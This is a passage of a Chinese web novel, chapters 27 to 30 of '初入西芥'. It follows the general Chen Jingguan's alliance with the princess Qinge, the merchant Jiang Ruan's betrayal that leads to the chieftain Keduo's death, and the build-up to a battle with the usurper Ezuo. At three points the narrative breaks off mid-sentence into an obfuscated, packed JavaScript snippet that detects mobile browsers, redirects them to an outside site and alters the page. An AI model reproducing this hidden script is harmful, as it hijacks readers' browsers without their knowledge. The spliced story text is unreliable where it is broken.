“少将军若是不喜欢我,那我们相敬如宾就好,我的乳母是南魏人,她同我说过南魏女子出嫁后的责任,我自当为少将军处理好内院琐事。至于其他的,”沁格顿了一下,“若少将军愿意,我也会做到妻子的本分。” 此刻的沁格像是被折断了翅膀的鸟,明明上一秒还在天上翱翔,下一秒就被囚在了笼中,明明自己在受着钻心的痛,却依旧要挂着笑脸祈求一份怜惜。 “有一件事我没想明白,既然恪多封了你领地,那你自可以如你哥哥一般守着自己的土地过活不就好了?你并不指望那一份彩礼度日。” 陈京观把刚刚未对恪多说明的话说给了沁格,他觉得对于此事,能做决定的自始至终都只有沁格自己。 “父亲在位时我可以是无上荣宠的别吉,若哥哥能继位我自然也可以继续这般生活,可他们都会离开,到那时,我手里的封地会成为下一个沁格的嫁妆。而我,没有人会再记得我了。” 所以这才是西芥女子必须不断再嫁的原因。她们就如同牧场上的奶牛,只有不断贡献自己的价值,她们才能获得片刻栖身之所,而无论是被放弃还是被忘记,她们都只有死路一条。 “那别吉没有想过寻一个能长久厮守的人共度余生?” 陈京观的话一出,只看到沁格笑着,她嘴里念了一遍又一遍“长厢厮守”,然后抬头看着陈京观,而那双眼睛里印着的是天上的明月。 “我从未见过我额吉,但我知道为何阿布再也没有娶过其他女子。他作为首领都没法做到相守一生,我又如何奢求?” 陈京观听闻沁格的话有些不解,而眼前的人自然看出了他的困惑,缓缓开口:“就如同阿布以我为条件为你提供助力一般,若将一个女子长长久久嫁给一个人,那就是两个家庭的联合,甚至是两个部族的联合,随着他们关系越密切,利益往来就越复杂,到那时候,要怎么保证王族的皇位不会被别人觊觎?” 沁格的这番话陈京观是第一听到,此刻,西芥能够以一脉相传千年的原因找到了。可陈京观并不想感叹王朝的长盛不衰,他只觉得最初制定这个规则的人,毫无人性。 “那少将军现在明白了吗?你嘴里的四方天,就是我唯一能获得的自由。” 陈京观没有说话,但是他了然了。她的确是拥有天空的玄鸟,可她被蒙上了眼睛,她明明感受过天空的辽阔,却一直觉得自己在原地打转 困住她的,是那条蒙在她眼睛上的黑布,也是她自己。 “那别吉没有想过真正拿下一片属于自己的土地,不求父兄庇护,完整地、彻底地,拥有一片你自己的草原?” 那一刻,陈京观看到了那颗落下去的太阳散发着余晖,虽然不如正午明亮,却足以照亮她自己的天地。 “若别吉愿与我交个朋友,那只要你还是别吉,我便永远是你的盟友。” 那一瞬,蒙在沁格眼前的黑布似乎被掀开了一个口子,她眼中除却脚下的路,还有远方的未知。 “那阿布……” 沁格说到这,脸上的神色又少了几份光彩,而陈京观轻声笑了笑,道:“他比我更希望你是你自己。而至于遏佐,无论你阿布是如何打算,我都不会放过他。” 说起遏佐,沁格看到了陈京观脸上从未向自己展露过的狠戾,但那份情绪只留存了一瞬,便又被他的笑掩盖住了。 “不过我只是别吉的盟友,至于未来你还是不是别吉,要靠你自己。” 陈京观说完,突然不自觉地笑了,他觉得自己与江阮呆久了也变成了话里有话的人,不过他相信沁格能明白他的言外之意。 “我知道了,今日多谢少将军提点。往日你若来木尔斯草原,我带你看看这世界上最大的马场。” 陈京观没有说话,朝着沁格摆了摆手转身上马。他知道,中午那颗太阳又升起来了。 27.初入西芥(三) 陈京观从西芥回来已是次日寅时,巡防的士兵见到他想给他行礼,却被他用噤声的手势拦下了,他一边朝前走着,一边看着城门口的方向。 那里在他走前还在做打扫战场的收尾工作,现在一切都恢复如常,甚至好几处破损的营帐也被人用粗糙的针脚硬是缝住了。而董辉所在的帐子是敞开的,陈京观估摸着应该是薛磐看董辉状态稳定了,便送他去了自己府上。 或许是因为这场突如其来的偷袭,让陈京观觉得此刻的平静很不真实。 “陈兄留我住一宿吧,我今日怕是赶不回霖州了。” 江阮的声音扰乱了陈京观的心绪,而后者没有说话朝他点了点头。此刻的江阮还是一副半梦半醒的状态,他刚骑马时就左摇右晃,亏得有陈京观时不时拿自己的鞭子“鞭策”一下他的马,不然江阮肯定是人仰马翻的结局。 不过陈京观知道,眼前的人无论困成什么样,他那句“霖州”都是故意说给自己听的。 “怎么,江掌柜在南魏的铺子开在霖州?” 陈京观说着,微微偏过头看了他一眼,只见江阮笑而不语,敛了敛自己的披风走到陈京观旁边。 “霖州是正经营生,我在南魏的铺子开在崇州。” 江阮知道陈京观的用意,不过既然是盟友了,有些事情他倒也不介意交个底。 “你倒坦诚。不过为何选在崇州?” “离家近。” 江阮说得很平静,倒是陈京观有些恍惚,他轻轻点了点头,不再说什么。而江阮的困倦此刻也渐渐被消磨了,他歪着头打趣道:“你不再追问一下?” 陈京观没理会他的调侃,在准备离开前环视了一圈,最后将目光定在了董辉的军帐。 “你睡那个吧,你细细闻,或许还能闻到帐子里残留的血腥气。” 说完,陈京观没有再理会江阮便径直走到了自己的帐子里,而江阮因为陈京观最后留下的那句话愣了一下,不过很快就回过味来,轻笑一声,在嘴里咕哝着。 “究竟谁说你心胸宽广的?” 之后的三日,江阮以各种理由赖着不走,一会儿说自己那晚骑马受了凉,一会儿又说天气不好会下雨,总之是待到了西芥军报传来的这天。 “少将军,遏佐昨夜领大军奇袭恪多部,恪多损失惨重,并且被遏佐刺中了腰部。” 探子来报的时候陈京观刚和平海商量着夺回参州的计划,想着遏佐三天没动静应该是在等着自己先行动,谁知道他领着大部队穿过了腾里沙漠,直逼恪多的军帐。 “他们的比武大会谁赢了?” 陈京观的话说得没头没尾的,探子刚听到时还有些不明所以,但很快就反应过来了,回了一句“忽兰”。 那日陈京观从克尔茶湖旁经过时特意放慢步子,等他绕到湖边就看见有人在搭台,后来在恪多部也没见到忽兰,他估摸着比武大会应当就是这几天的事。 不过不知是不是恪多部真的有天命在,那一日的克尔茶湖清澈无比,周遭别说沙尘,连风都没有,太阳照在沙地里燥热无比,再加之西芥的比武大会要求参加者全部赤膊上阵,如此条件下遏佐的心机无处遁形。虽说遏佐经验丰富,可忽兰毕竟比他年轻,加上他心底里压抑已久的怨气,忽兰那日下手并不轻,据说打掉了遏佐的一颗牙。 “这么大年纪了还是这么沉不住气,好歹缓两天呢。” 江阮的嘴谁也不饶,他在一旁听着探子的话,嘴里恰似无意地嘲讽着。不过他说的倒是实话,这次遏佐的出击太过于轻率了,而且临阵掉头,这是大忌。 “这里面,有你的功劳吧。” 陈京观摆了摆手遣走来送信的探子,又派平海去巡防,此时就留了一个江阮在营地与他对峙。 “少将军哪儿的话,不是您说的我这份功劳拿得太轻易了吗?我可不得借机向您展示展示我的用处?” 江阮依旧是一副吊儿郎当的样子,他好像自从和陈京观相熟之后就变成了这副模样,以前那副谦谦君子的作派浑然不知去向,留下的只有变本加厉的油腔滑调。 “你做了什么?” 陈京观并不想再顺着他的玩笑话继续下去,他此刻看着江阮的眼神有些复杂。 “放心,我只是把那日进恪多军营的路画给了遏佐,至于他能不能找得到,能不能打进去,与我无关。” 此刻的陈京观心里有种说不上的情绪,他微微皱眉盯着江阮,他不知是否该庆幸自己能获得他莫名其妙的信赖,能让他选自己做盟友而不是对手。 “恪多很信任你。” “可朋友的敌人是敌人。” 江阮的话几乎是脱口而出,他抬起头的一瞬,陈京观看到他眼神深处的冷漠,他本来还想说些什么,但张嘴的时候又作罢。 “你想说我背信弃义?那我可不认。我与他从来都是有来有回,我不做无谓的算计,也不做单纯的好事。今日就是他知道是我说的,他也无话可说,我并不欠他的。” “可信任没有价值吗?” 陈京观的话惹笑了江阮,他只见眼前的人眉眼弯弯,他的每一声笑都像是在嘲讽自己的天真。 “除了实打实的利益,一切都没有价值。” 江阮嘴角还挂着那抹笑容,可他嘴里的话却异常冰冷。陈京观从来不觉得自己看透了他,可这么多日相处下来,他觉得此人并非没有血肉,只是他似乎总会在要生出些心血的时候将自己剖开,然后鲜血淋漓的拿走他属于人的那一部分,最后再亲手给自己缝上笑脸。 “那我呢?你想要从我这里获得什么利益?” 陈京观嘴上说着,他知道江阮不会和自己说真话,可他还是想问一问, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈京观没有理会江阮的阴阳怪气,他寻来了平海让他带着两千人立刻奔赴参州,又号令九千人随自己驰援恪多,临走时他看了一眼在营房门口望着自己的江阮,他看不懂此刻的江阮,但是当他的目光聚焦在江阮身上时,他依旧挂着笑看着自己。 “怎么,少将军觉得我会背刺你?” 陈京观没有说话,他自始至终对于眼前的人谈不上信任,只是随着他的手段慢慢显现,虽然每一刀都不是刺向自己,可是只要他握着刀,他便是最大危险。 “我说过,我于你绝对忠心,你若不信,我便再留几日,作为人质替你保住槐州城。” 江阮的话说完,只见陈京观骑在马上以一种居高临下的姿态望着他,而江阮也没再说什么,抬头回应了他的目光,他似乎在等陈京观的答案,又似乎在告诉他自己的答案。 也罢,用人不疑。 陈京观没有回答江阮的话,领着席英朝腾里沙漠腹地奔赴,不过他离开时看到了薛磐,他站在人群里微微向自己颔首示意。 28.初入西芥(四) 如若说槐州此刻是暗流涌动,那恪多部就是剑拔弩张。 遏佐的部队素以迅猛闻名,他们平日就任着巡边的任务,常常日趋百里也不停歇,而他们除却经验,自然也有血脉里的天赋。 遏佐原本是恪多的堂弟,遏佐的父亲在三十年前西芥与北梁的边境争端中不幸殒命,因遏佐一支也再无长辈可以抚育遗孤,恪多的父亲才将他收进了自己这一脉。而遏佐这一支西芥王族分支,原本是这千年王朝永久的守护者,他们对战争更多的是出于对控制权的渴求,若在伟大的领袖带领之下,他们是王朝最锋利的刀刃,可若被心怀不轨的人拥有,那就暗无天日的硝烟。 两日之前比武大会结束,还未等忽兰回到恪多部他便被围到了两部边界。他自然不可能只身前往,但是面对遏佐的穷追不舍他只能一边打一边跑,等到营地时自己受了伤,跟着自己的兵士也损失殆尽。 为了这一仗,遏佐几乎将自己的三万人军队全都召了回来,但西芥是部落武装,单论遏佐一个人,他不可能拥有与恪多部匹敌的势力。他这三万人有一部分是鼓动了腾里的奴隶,还有一部分是吸纳了宛达的私兵。 不过他虽然抱着必胜的决心,可也不得不为自己留一条后路,故而虽说是征用了宛达的兵,但这一次出击他却没有带上宛达。他将宛达置身在这场战争之外,其实也是拿准了恪多不会看着他这一脉断绝。 而恪多本还在为儿子的勇武喜悦,突然就看到了气息奄奄的忽兰被人扶着进了帐子。忽兰是他的第三个儿子了,前两个儿子很小的时候便染病夭折,所以他对忽兰既给予偏爱也给予厚望。 如今看到儿子被伤成这样,他终究又披上二十年未穿过的金沙甲,拿着那把随他征战四方的曦月刀,凛凛然侯在了帐外。 只是等他立着的时候,遏佐也已经大军逼近,他们嘴里唱着军歌,手里的旗帜画着新政权的标志,恪多此时再看遏佐,眼里只剩下怒火。 “我的好阿哈,不知道忽兰怎么与你说的,是自己德不配位还是技不如人,不过事到如今都不重要了,只要你此时让位于我,我可以让你在这块地方终老,不过忽兰的地方和你的小别吉,我很愿意笑纳。” 遏佐本就是嚣张性子,如今更是盛气临人,他骑在马上与恪多相隔不过十多米,而恪多听闻他的话便将手里的弯刀紧紧握住,他的白发悉数藏在了头盔之下。 “遏佐,你知道我为何不让你继位吗?这比武大会是你提议的,忽兰也去了,我一直待你如亲兄弟,沁格更是待你如亲阿巴嘎,可你依旧要挥刀向自己人吗?那日的比武大会有不少人看了,投票的结果还存在我帐子里,你要我现在告诉你吗?遏佐,你明明可以潇洒地当个王爷。” 恪多的话原本已经不打算说给遏佐了,可许是年纪大了,人就容易心软,他明知今日只剩下你死我活,可依旧想要把心里的话说一说,祈望遏佐能回心转意。但遏佐并不领情,他缓缓抬手一声令下,只见他身后的兵士一起涌了上来,喊杀声响作一片。 “恪多,我阿布为你部效力了一辈子,到最后你们甚至要将我吞并。这世界上没有人再记得努勒,而我不会等到我的名字也消失的那一天。” 遏佐的声音在一阵士兵的呼喊声中格外突出,恪多听到了那句“努勒”,那是他叔叔的名字,是父亲最信任的兄弟,也是他最舍不得的兄弟。可直到此时他才知道,原来父亲的好意收留,在遏佐的认识里却是在抹去他父亲存在过的痕迹。 只是现如今说一切都晚了,恪多的刀调转了方向,毫不留情的抹掉了眼前人的脖子,滚烫的鲜血洒在他的脸上,他已经很久没有过这样的感觉了。 此时的沁格安顿好了哥哥,也换上了戎装,她喜欢红色,恪多便为她量身打造了红色的铠甲。此时的战场上只见一抹红色在人群中游荡,凡她所到之处必定伴随着一声惨叫和人头落地。 而遏佐也似杀红了眼,他抹了抹长枪上的血肉,将目光锁定在沁格的身上,手里的长鞭落地的一瞬他的战马就直冲着沁格去了,只是他还未到便被人用长刀砍在了肩上。他回头看到了恪多的眼睛,当即掉转马头打算故技重施,但这次恪多没有给他用暗器的机会,立刻翻身上马去侧应沁格。 “准备从后翼包围。” 沁格听闻父亲的话点点头,她嘴里叼着自己刚刚被斩断的小辫,不禁咬紧牙关。可就在这时,恪多的背后突然闪出一个人影,他的动作很快,沁格甚至还没来得及去挡,就看到父亲摔下了马,而他的腰间殷红一片。 不过沁格顾不得伤心,她下意识用手里的鞭子狠狠甩到马背上,那战马嘶鸣了一声便冲了出去,直到那人人头落地之时,沁格也未曾正眼看过他一眼。 而倒在帐前的恪多暂时为这场内战画上了逗号。遏佐看到自己的人得手了,便扬着马鞭开始撤退。 他本来没想到恪多的守卫会如此轻易的背叛他,但是江阮送来的情报图里夹着一张处方,而那张处方救了那守卫父亲的命,并且遏佐若能成功,他们一家将会封侯拜相。 此时的遏佐只需要等,等到恪多归西,自己便能以忽兰不可胜任为由废掉他的爵位,然后娶沁格为妻。 “记住,从此以后你恪多的后代,都要冠上我遏佐的名号。” 遏佐叫嚣的声音回荡在恪多部的上空,而此时的恪多被亲卫抬着进了帐子,沁格一路跟着,看着地上滴出来的血路,她的泪终于还是落了出来。 “阿布……” 替父报仇后的沁格还没来得及洗去手上的血,她看着躺在床上的恪多,她第一次认识到父亲已经老了,平日里他总是一幅庄严的样子,让她忽略了这副身躯早已行将就木。 此刻她身边的巫医在帐子里进进出出,仆从手里的水盆盛满了恪多的鲜血,她不明白父亲亲手提拔上来的守卫怎么会背叛他,也不知道遏佐为何会突然调转枪头,但是一切发生了,而她的父亲,是这一切意外汇聚后的牺牲品。 “沁格,阿布如何?” 沁格闻言转身,只看到忽兰由两个侍从扶着,他的后背和肩膀都被遏佐的长□□破,如今他脸上毫无血色,依靠在门边望着自己的妹妹。 “阿哈,你去休息吧,我看着父亲。” 沁格的声音里充满无可言说的疲惫感,她抬头示意忽兰身边的随从将他扶回去,却见忽兰摆了摆手,推脱开了随从的搀扶,随即跪倒在地。 他在地上朝着恪多的床榻磕头,嘴上说了一遍遍“对不起”,他再抬头时沁格与他对上视线,两人眼中都是一片氤氲,但下一刻,忽兰就晕倒在了恪多的帐前。 见状,随忽兰来的侍从忙将他背在背上送回了帐中,而等着送走了忽兰,沁格才对自己身上的担子有了实感。她身边时不时有人来报这一仗的伤亡程度,那声音又混合巫医的轻轻叹息,她抹了一把泪最后看了一眼父亲,出门走进了统战营的帐房。 之后的几日沁格试图用繁杂的事务来麻痹自己,她每日晨起去父亲帐中看一眼,然后回到统战营继续开会。她与统领们分析了此时的局面,统计了如今三部的所有兵士人数,让各部落的统领一齐领兵勤王,同时也盘点了战败的原因。其中有许多疑点,但沁格没有点明,她只是让探子去查。 而恪多的身体每况日下,每日靠着药物续命,他有时会清醒一下,但是依旧说不出话。他的腰部被那个士兵用长枪贯穿,伤及肝脏,西芥的医疗比不上中原,奉行的还是巫医一体,而这样严重的外伤对于巫医来说基本无法救治,这一点沁格很早就意识到了,但是恪多恪守西芥传统,认为外药对人的身体必定弊大于利。 这一次,他败在了自己的命令里。 “别吉,可汗去了。” 来传报的小孩声音怯生生的,许是被人推着进来的,而沁格前一秒还向几个统领解释着自己的计划,下一秒就听她喉咙里呜咽了一声,然后继续努力维持镇定将自己的话说完,才转身看着来报信的小孩。 “乌木禾,让你阿布帮忙筹划首领的后事可以吗?对这些,我不太懂。” 乌木禾只是个七岁的小孩,可他能感受到眼前的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13993279|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人在强忍着泪水,他眨着眼睛朝沁格点头,然后小心翼翼地上前抱住了沁格。 “别吉别哭,阿布说你辛苦了,其余的交给他们就好,只要他们还在,就能守住你和汗子。” 说罢,乌木禾朝着沁格行礼,跑出了帐房。而此时统战营里站着的几个统领面面相觑,不知该如何应对,见沁格沉默着,便识相地退了出去。 看着所有人离开的沁格像是被丢在了沙漠里,四处的嘈杂声都被帐子隔绝在外,偶尔有几句低声哭泣顺着缝隙传进来,可她只是像个木偶一般站在原地。而她手边,放着刚刚有人送上来的调查结果。 那个守卫在前些日见过一个人,遏佐的亲卫。等那人离开后,守卫的一家就被搬到了参州边界,那守卫的父亲,也获得了南魏郎中的医治。 一切似乎都明了了,她不相信陈京观会骗她,但是对于江阮的为人,她心知肚明。 他是商人,从来不讲道义。 只是她觉得有些唏嘘,父亲平日待他的守卫们很好,可亲人就是亲人,她为了父亲杀人,他也为了父亲杀人,他们不过都不想要失去父亲罢了。 因还在战时,葬礼一切从简,沁格从那日看到父亲被刺下马后神经就一直紧绷着,直到此刻看到父亲的棺椁入土,她好像才意识到父亲真的离开了。 而按道理西芥的老者去世要由其子扶棺相送,但是忽兰的情况并不足以支撑他行进到墓园,沁格作为战场上斩首敌人的功臣,特许替任,也因如此,她才见到了恪多的最后一面。 她曾经想过父亲离世时自己会与他有好多话说不完,会握着他的手不肯放,作为唯一被给予封地和名字的女子,恪多给了她他能给的所有偏爱。可直到最后,他还是在为那一日自己以沁格为筹码而感到愧疚。 那日之后沁格总是躲着父亲,即使见面了也只是生疏的行礼后作别,她没有给予父亲一个解释的机会,而恪多也没能拉下脸来给她一个解释,于是直到此时此刻,两个人隔着渐渐被掩埋的棺椁,只剩下相对无言。 “别吉节哀,我来迟了。” 沁格转身,看到了陈京观。他一袭素衣连佩刀都没有带,只身一个人来到了墓园。 他那日带着大部队出发,在路途上遇到了遏佐的守军,为了不暴露自己的行踪,他们绕过了遏佐部先拿下了参州,然后他让平远军驻守在参州,自己一个人来到了西芥。而见到陈京观,沁格两旁的守卫立刻拔刀阻挡,却被沁格抬手拦下了。 “少将军,知道这一切的缘由吧。” 眼前的人只是几日不见却似变了一个人,她今日的脸上是多日无眠后的恍惚和越加锋利的棱角,而对于沁格的话,陈京观坦然地点了点头,他不想隐瞒什么,这样的局面是各自选择的结果,他明白,沁格也明白。 “那少将军那日的话还算数吗?” 沁格问道,她避过了有关江阮的所有问题,她明白此刻最重要的任务是守住父亲的营地,等待哥哥恢复。至于江阮的账,她记下了,总有一日会还的。 “算数,今日我来只为吊唁,至于反击,平远军愿助别吉一臂之力。” 陈京观说着,可是旁边的西芥士兵却不似沁格一样平静,他们都明白了遏佐这一仗大获全胜的原因,而此刻的陈京观于他们而言,是帮凶。若不是沁格还在,陈京观怕就要下去陪恪多了。 “我信你。”沁格说着,转身看了一眼父亲的墓碑,“我们先去统战营吧,让他好好休息。” 陈京观闻言点了点头,他跟在沁格后面,四周都是守兵,他远远朝着恪多的墓举了一躬,心里思绪万千。 倒是沁格一路都沉默着,她似乎不打算与陈京观聊一聊江阮的事情。她在前面低着头走路,右手紧紧握着父亲的曦月刀。 陈京观几次想要开口,他觉得有些事情即使大家心里有清楚,可是只有当你主动解释的时候,眼前的人才能明白你的立场,但他总觉得此刻不合时宜。 “你不用替江阮说什么,这是我与他的事情。遏佐才是我们共同的敌人。” 29.初入西芥(五) 沁格的话听起来很轻易,陈京观明白,她将许多东西都压在心里了。她如今所做的一切就是要自己表现得像一个别吉,像一个合格的盟友,既然沁格能做到如此体面,那他能做的就是心领神会。 一行人一路沉默着朝恪多的营地走去,只是当陈京观出现在营中时,周身议论四起。他对此心知肚明,前几日他来找恪多时许多人都看到了,而他离开后没几日遏佐就领了兵来战,其中因果似乎不辨自明。 可沁格也没说话,陈京观望了一眼她的背影,继续一路低着头跟她走,直到沁格停在了统战营门口,直到他快要迈步进去的时候,听到面前背对着他的沁格开口:“少将军是我们的盟友,不得无礼。” 沁格的声音如同止沸石被丢在了喧嚣的人群中,围在他们身边的百姓渐渐散了,而陈京观抬头再看她时,沁格没打算再作停留,拉开统战营的帘子走了进去。 “多谢别吉解围。” 陈京观站定,发现跟在他们身后的守卫都默契地停在了统战营门口,如今整个营帐只剩下他与沁格二人,他不禁抬眼一瞥,缓缓抬手行礼道。 而沁格没有理会他的话,站在桌前一把推开了西芥的城防图,上面有几个红色圈,陈京观只一眼便知道那是如今遏佐的势力范围。那几个红色圈刚好以岭扬江为界,将恪多、忽兰和沁格的领地包围了起来,但其中有一个用黑色圈出来的地方,就横梗在遏佐和恪多之间。 “还请别吉解惑,那一块地是?” 陈京观微微倾身去够桌子另一头的指挥杆,而沁格默不作声递给了他,随后开口:“那一块地,属于兹察。” 兹察,西芥最古老也最神秘的部落,从古至今只凭占卜之术立足,但是千百年间却无人敢犯。陈京观对于这支部落的认识仅限于此,毕竟他们在西芥内部都是鲜有人知的存在。 “兹察的封地原本是宛达如今所在的地方,当时遏佐非要以腾里环境恶劣为由,要一块临水的地方给宛达,而木尔斯草原的位置和北梁相接,阿布担心遏佐联合北梁,所以他打算将自己这块地划一部分给宛达,但是兹察提出了用自己的土地换恪多部与遏佐部中间的部分。他们的用意阿布自然明白,虽说他们不参与政治纷争,可他们在这,或多或少能对遏佐起到一点威慑作用。” 陈京观听着,微微点头表示理解,但是转而又发现了一个漏洞。 “那当时遏佐怎么会同意划自己的地,以及这次遏佐来打,兹察为何毫无反应?” 沁格闻言抿了抿嘴,她的目光聚焦在了兹察部旁边那块淡蓝色的图标上。 “遏佐的地是阿布拿克尔茶湖换的。而这一次,遏佐也是从克尔茶湖打进来的。” 如果说世间万物都有因果,那此刻沁格的话无疑又是一个强有力的佐证,就如同上天在与恪多开玩笑,他的丧命,好像从一开始就是注定的,此后他走的每一步,都在造就今日属于他的结局。 “当时的克尔茶湖属于三不管的地方,又正巧和你槐州接壤,阿布原想着即使把克尔茶湖给遏佐他也掀不起多大风浪,毕竟想要从克尔茶湖过来,必定要借道槐州或参州。” 沁格的话说到此处,一切都解释通了。遏佐的计划其实很缜密,他不是打不下槐州,而是他从未想着要打槐州,他的目的自始至终都是借道参州,这也是为何他会如此果断的放弃参州。参州与他而言并不算一块硬骨头,只是这块地方完成了它的用处,他再将这块地送还给南魏,也免了南魏进一步穷追不舍。 不过要论遏佐为何舍近求远,其中怕还有某人的指点。 只是陈京观此时即使明了了也没有再开口,他将心中对于江阮的画像又描摹了一遍,觉得越发看不懂他。 “那你的人知道遏佐的具体位置吗?他的下一步应该是彻底拿下恪多的封地,至于你和忽兰,倒时候只是他一句话的事情。” 陈京观一边说着一边用眼睛在那块地图上查找,恪多部周围的地方其实都很容易藏身,毕竟除却恪多部,其四周不是沙漠就是山岭,但这些地方虽容易藏身,却不可能供他们休憩这么久。快小半个月了,遏佐在等什么? “报!遏佐在腾里称王,他给您送来了告谕,兹定于三日后在克尔茶湖迎各部朝拜。” 送信的小兵声音越来越小,他一边说着一边打量着眼前的二人,虽说沁格的表情自始如常,可他总觉得背后一阵凉风。 “看来他已经完全不把我当一回事了,他觉得阿布没了,我便只有乖乖投降的份。” 沁格说罢摆了摆手让那士兵出去,陈京观此时再看她,如果说刚才的她脸上还带着送葬后留下的失落与些许恍惚,那此刻的她就是前所未有的坚定,她说话时眼睛比往日都要亮。而此刻陈京观才注意到,沁格头上的小辫不见了,为之替代的是利落的玉冠和高高束起的长发。 “少将军,三日之后,克尔茶湖,无论你来或不来,我都会与遏佐一战。我理解你作出的一切选择。” 此时的沁格卸下了包袱,事情发展到这一步,反而变得更简单了。她不用再去猜测遏佐的想法,不用再去担心战败的后果。当她面前只有一条路时,她走得便愈发坦然,也愈发果决。 “我定当不辜负别吉的信任。” 说罢,陈京观拱手向沁格作别,只是在他退出帐子的时候,看到站在原地的沁格向后走了两步,退到了烛光照不到阴影处。他没有再说话,帮她把帘子掩好,转身策马离开。 这三日说长不长,说短不短,知道了遏佐的动作,沁格便能更好地见招拆招,而忽兰的伤也在日渐恢复,他每日跟着巡防营在外巡视,他总觉得自己该和沁格聊一聊,可是他每日看着沁格在统战营里的身影,他觉得此刻的自己当好她的后盾就好。 而从恪多部出发的陈京观没有直接回到参州,他安排在恪多部外围的席英看到他时就明白了一切,拿了他的手令返回参州去调兵。至于陈京观自己,他只身一个人来到了克尔茶湖旁。 此时的旧地已经没有了旧时的模样,短短半个月,克尔茶湖周围的台子已经换了两次。而陈京观这次装作是来西芥谈买卖的客商,西芥内战换了当家人,平日里那些与恪多交好的商人遏佐大多不会用,这个理由挑不出错,而且他只身前往,又会几句西芥语,入关时倒也没有遇到多少阻拦。 等他进到遏佐部的内部,路上巡防的士兵也就多了起来,他看着眼前的景象不禁发笑。原来无论是谁,当他坐的位置越高,他便越害怕,萧霖如此,遏佐也如此。或许是出于对来之不易的珍惜,又或者是对掌权的傲慢,他们总是习惯于在自己身边竖起高塔,以彰身份也以示警惕。 陈京观一个人在街上走着,发觉遏佐部的发展的确受到了地理因素的限制,因为风沙的原因大家很少会搭建固定的街市,如今夜幕降临,偶然有几家门口用双语写着“客栈”的帐子也看起来十分冷清。但如今这时局在野外过夜不算是好主意,陈京观对比了几家开在外围的客栈,最后选定了一个用栅栏围起来的小帐子,揭开帘子走了进去。 “要住店吗?” 坐在帐中的店家说话时没有抬头,他手里一边倒着酥油茶一边问候进来的人,而陈京观应了一声坐到了他身边,伸手接过了店家递来的茶碗,轻声道谢抿了一口。 “最近时局不好,生意不景气,你要是住的话三十文一晚,平日的吃食我们也可以做,就是要另收费用。“ 店家说话的时候始终忙活着手上的活计,他此刻起身朝炉子里丢了两颗碳,帐子里的温度随即也升高了一些。虽说已经五月底了,可是沙漠腹地的晚上依旧寒风习习,陈京观手里握着那碗油茶,时不时抬眼看看店家。 “话说,怎么这个时候还敢来?” 店家见陈京观一直默不作声,对他产生了兴趣,他将炉子上的水壶提下来又给茶壶里续上水,随后坐到了自己原来的位子上。而陈京观放下手里的茶碗,接过店家递来的毯子披在了自己身上,道了声“多谢”,缓缓开口:“这不是我看你们换了人,估摸着能有新商机,便先来探一探,毕竟饿死胆小的,撑死胆大的。” 陈京观的话说得很有市井气,只是店家的反应倒像是早有预料,他此刻转身打量着眼前的人。 “看样子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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店家本还僵着身子目送兵士的背影,听着最后那句“惶恐”,突然笑出了声,他摆了摆手让陈京观坐下,自己转身把账册收好,一边去敛帐帘一边笑着答话。 “你进来时就沉默寡言,直到万不得已才用那些早就准备好的话搪塞我。我做客栈很多年了,形形色色的人见了许多,像公子这样的,只要肯加钱,我们都愿意收。” 店家回到了帐子中间,却没有再坐下,陈京观望着笼着自己的阴影,缓缓抬头。 “那您要加多少钱?” “这要看公子觉得我一家老小值多少钱?” 店家的话一出,陈京观就明了了其中的意思,他此时缓缓扶上了腰间的匕首,眼神也变得警惕起来。 “我老了,论说年轻的时候或许真能和少将军打一架,但现在不行了。” 陈京观听闻此话,手虽然还扶在腰间,但是眉头微微皱起,他站起身尽量与眼前的人平视。 “当时陈将军饶了我一命,今日我把这一命还给少将军,但我还想请少将军再高抬贵手一次,明日无论结果如何,您的刀,不要挥向百姓可以吗?” 陈京观明白了那一声“陈将军”的指向,他此刻再看着眼前的人,突然有些复杂的情绪涌了上来,而店家看着他,缓缓发笑。 “当时您父亲率兵打到了克尔茶湖,而我们这里无人管辖,我们本想着就要命丧于此了,但您父亲调转马头去了腾里腹地。你刚进来的时候,我恍惚间以为自己又看到了他。” 店家此时再开口,语调里满是回忆泛黄的味道。其实店家自己也不知道为何如此笃定他就是陈频的儿子,但是也是这样一个大战将至的夜晚,他的帐帘被人拉开,那人同自己饮茶,同自己谈天说地,第二日他领着兵绕过了克尔茶湖。 “明日自愿上阵的恪多部下,大多是从小就与恪多一起长大的,其余的不过是想换一条命的奴隶,我不求少将军心慈手软,他们选了,便也是认命了。但是如果您路过的只是寻常人家的帐子,能不能,留我们一条活路?” 此时店家喉咙里吞吐出的字,让陈京观感受到了眼前人的年岁,他没有直接答话,而是将肩头的毯子披在了店家的身上,他感受到自己在碰到眼前人的那一瞬,他身体微微一怔。 “谢谢您还记得他。” 30.初入西芥(六) 六月初一,距离西芥传统那达慕节还剩三天时间,但今年的草原没有展露出丝毫有关节日的喜悦,老首领的离世,新首领的争夺,各部之间暗流涌动。而遏佐已经在名义上继位了首领,自然要拿出些首领的派头,他宣布今日接受全族朝拜,三日后则预备以首领的身份主持节日庆典。 当然,作为在西芥巡边队待了三十年的人,他感受到了从昨日开始就异常的低气压。按理说如果是朝拜,各部落需要在提前一天到达首领的领地,可直到今日清晨,沁格依旧没有现身。 